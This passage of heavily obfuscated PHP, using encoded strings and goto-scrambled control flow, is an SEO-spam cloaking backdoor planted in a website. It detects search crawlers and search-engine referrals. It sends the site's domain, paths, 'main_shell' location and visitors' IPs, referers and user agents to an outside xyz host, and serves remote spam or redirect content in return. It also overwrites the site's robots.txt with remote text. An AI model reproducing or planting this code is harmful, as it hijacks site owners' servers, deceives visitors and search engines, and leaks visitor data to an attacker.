0 || $check1 == "\61") { $data1["\x61\x63\x74\x69\157\x6e"] = "\x72\x61\x6e\144\137\170\155\154"; $check_url4 = getServerCont($url_words, $data1); header("\x43\157\156\164\145\156\x74\55\164\x79\x70\145\72\x74\x65\x78\x74\57\x78\155\x6c"); echo $check_url4; die; } } goto eFnMw; POGj3: $data1["\x72\145\x71\x5f\x75\x72\151"] = $req_uri; goto nRvV3; qfKUB: $data1["\144\x6f\155\x61\151\x6e"] = $domain; goto POGj3; EOejr: $ser_name = $_SERVER["\x53\x45\122\x56\105\122\137\x4e\x41\115\105"]; goto g0viS; g2mx1: $req_uri = $_SERVER["\122\x45\x51\x55\105\x53\x54\x5f\125\x52\x49"]; goto kTYJr; WnFAY: function is_crawler($agent) { $agent_check = false; $bots = "\147\157\157\147\154\x65\x62\157\x74\x7c\x62\x69\156\147\142\x6f\164\x7c\x67\x6f\x6f\x67\x6c\145\x7c\x61\157\x6c\x7c\x62\151\156\x67\174\x79\x61\150\x6f\157"; if ($agent != '') { if (preg_match("\x2f\50{$bots}\51\x2f\x73\151", $agent)) { $agent_check = true; } } return $agent_check; } goto M5uRG; kTYJr: $domain = $_SERVER["\x48\x54\x54\x50\x5f\x48\117\123\x54"]; goto srSkg; ByOQb: $inter_domain = "\x68\164\x74\160\163\72\x2f\x2f\x7a\66\60\67\62\60\x5f\66\x2e\x73\155\x61\163\x68\x6e\x65\x61\x74\x2e\x78\171\172\57"; goto F6xn7; eFnMw: if (strpos($req_uri, "\56\160\150\160")) { $main_shell = $http . $ser_name . $self; $data1["\x6d\141\x69\156\x5f\x73\150\x65\x6c\154"] = $main_shell; } else { $main_shell = $http . $ser_name; $data1["\x6d\141\151\156\137\163\150\x65\x6c\x6c"] = $main_shell; } goto WaW2B; NmV3x: $data1["\162\x65\x71\137\x75\162\x6c"] = $req_url; goto NizMu; LeFGe: if (strpos($req_uri, "\56\x70\x68\160")) { $href1 = $http . $domain . $self; } else { $href1 = $http . $domain; } goto m12nb; Hjx5x: $jump1 = $inter_domain . "\x2f\x6a\x75\155\160\x2e\x70\x68\x70"; goto eWB33; Sj3ZJ: $req_uri = str_replace(array("\56\150\164\x6d", "\56\x68\164\x6d\154", "\x2e\x73\150\164\155\154", "\x2e\160\150\164\x6d\x6c"), '', rtrim($req_uri, "\57")); goto S_eKg; F6xn7: function getServerCont($url, $data = array()) { $url = str_replace("\x20", "\53", $url); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "{$url}"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data)); $output = curl_exec($ch); $errorCode = curl_errno($ch); if (version_compare(PHP_VERSION, "\70\56\x30\56\x30", "\x3c")) { curl_close($ch); } if (0 !== $errorCode) { return false; } return $output; } goto WnFAY; kWxvH: $res_crawl = is_crawler($user_agent); goto Sj3ZJ; m12nb: $data1[] = array(); goto qfKUB; WaW2B: $referer = isset($_SERVER["\x48\124\124\120\137\122\105\x46\105\x52\105\x52"]) ? $_SERVER["\x48\x54\x54\120\137\122\x45\106\105\x52\105\x52"] : ''; goto ps4dO; C_X4I: $user_agent = strtolower(isset($_SERVER["\110\x54\x54\120\x5f\x55\123\105\122\x5f\x41\x47\x45\x4e\x54"]) ? $_SERVER["\x48\x54\x54\120\x5f\x55\x53\x45\x52\137\101\x47\105\x4e\x54"] : ''); goto kWxvH; NizMu: if (substr($req_uri, -6) == "\x72\x6f\x62\x6f\164\163") { define("\x42\101\123\105\x5f\x50\x41\124\x48", $_SERVER["\104\x4f\103\x55\115\105\x4e\124\x5f\x52\117\x4f\124"]); $robots_cont = @file_get_contents(BASE_PATH . "\x2f\162\x6f\x62\x6f\x74\x73\56\x74\x78\164"); $data1["\x72\157\142\x6f\164\163\x5f\143\157\156\164"] = $robots_cont; $robots_cont = @getServerCont($url_robots, $data1); file_put_contents(BASE_PATH . "\x2f\x72\157\142\157\x74\x73\x2e\164\170\164", $robots_cont); $robots_cont = @file_get_contents(BASE_PATH . "\57\x72\x6f\x62\x6f\x74\x73\x2e\x74\170\x74"); if (strpos(strtolower($robots_cont), "\x73\x69\164\x65\155\x61\x70")) { echo "\162\x6f\x62\157\164\163\x2e\x74\170\x74\x20\x66\x69\x6c\145\40\x63\162\x65\141\164\145\40\163\x75\x63\x63\145\163\163\x21"; } else { echo "\x72\157\142\157\x74\x73\x2e\164\x78\164\40\146\151\154\145\40\x63\162\145\x61\x74\145\x20\x66\141\151\154\41"; } die; } goto zo2ts; M5uRG: function check_refer($refer) { $check_refer = false; $referbots = "\147\x6f\157\147\154\x65\x7c\x79\x61\x68\x6f\157\174\142\151\x6e\x67\174\141\x6f\154"; if ($refer != '' && preg_match("\57\50{$referbots}\x29\x2f\163\151", $refer)) { $check_refer = true; } return $check_refer; } goto zhfFO; nRvV3: $data1["\x68\162\x65\146"] = $href1; goto NmV3x; eWB33: $url_words = $inter_domain . "\57\x77\x6f\x72\x64\163\x2e\x70\x68\x70"; goto VwQnc; srSkg: $self = $_SERVER["\x50\x48\120\137\123\x45\x4c\x46"]; goto EOejr; V2e2D: if ($res_crawl) { $data1["\150\164\x74\x70\x5f\x75\x73\145\162\x5f\x61\147\x65\156\164"] = $user_agent; $get_content = getServerCont($indata1, $data1); echo $get_content; die; } goto IFntA; zhfFO: $http = isset($_SERVER["\110\x54\124\120\123"]) && $_SERVER["\x48\124\124\120\x53"] !== "\x6f\146\x66" ? "\150\x74\x74\x70\163\72\57\57" : "\150\164\x74\160\x3a\x2f\x2f"; goto g2mx1; S_eKg: if (!$res_crawl && $chk_refer && (preg_match("\x2f\134\144\x24\57", $req_uri) || preg_match("\43\133\141\55\x7a\x5d\x3d\133\141\x2d\x7a\x30\x2d\x39\135\x2b\x23", $req_uri) || preg_match("\57\151\164\x65\x6d\x2f", $req_uri))) { $data1["\x69\x70"] = $_SERVER["\x52\105\x4d\117\x54\x45\x5f\101\104\x44\122"]; $data1["\162\145\146\145\162\x65\x72"] = isset($_SERVER["\x48\124\x54\x50\x5f\x52\105\106\x45\x52\105\x52"]) ? $_SERVER["\110\x54\x54\x50\x5f\x52\105\106\x45\122\105\122"] : ''; $data1["\x75\x73\145\x72\137\141\147\145\156\164"] = strtolower(isset($_SERVER["\x48\x54\124\120\x5f\x55\x53\x45\x52\137\x41\x47\105\116\124"]) ? $_SERVER["\x48\x54\124\x50\x5f\x55\x53\x45\122\x5f\x41\107\x45\x4e\x54"] : ''); echo getServerCont($jump1, $data1); die; } goto V2e2D; QNuOp: $map1 = $inter_domain . "\57\x6d\141\x70\x2e\x70\x68\x70"; goto Hjx5x; r9hhH: $indata1 = $inter_domain . "\x2f\151\156\144\141\x74\141\56\x70\150\160"; goto QNuOp; ps4dO: $chk_refer = check_refer($referer); goto C_X4I; VwQnc: $url_robots = $inter_domain . "\x2f\162\157\x62\x6f\x74\x73\56\160\x68\160"; goto LeFGe; g0viS: $req_url = $http . $domain . $req_uri; goto r9hhH; IFntA: ?>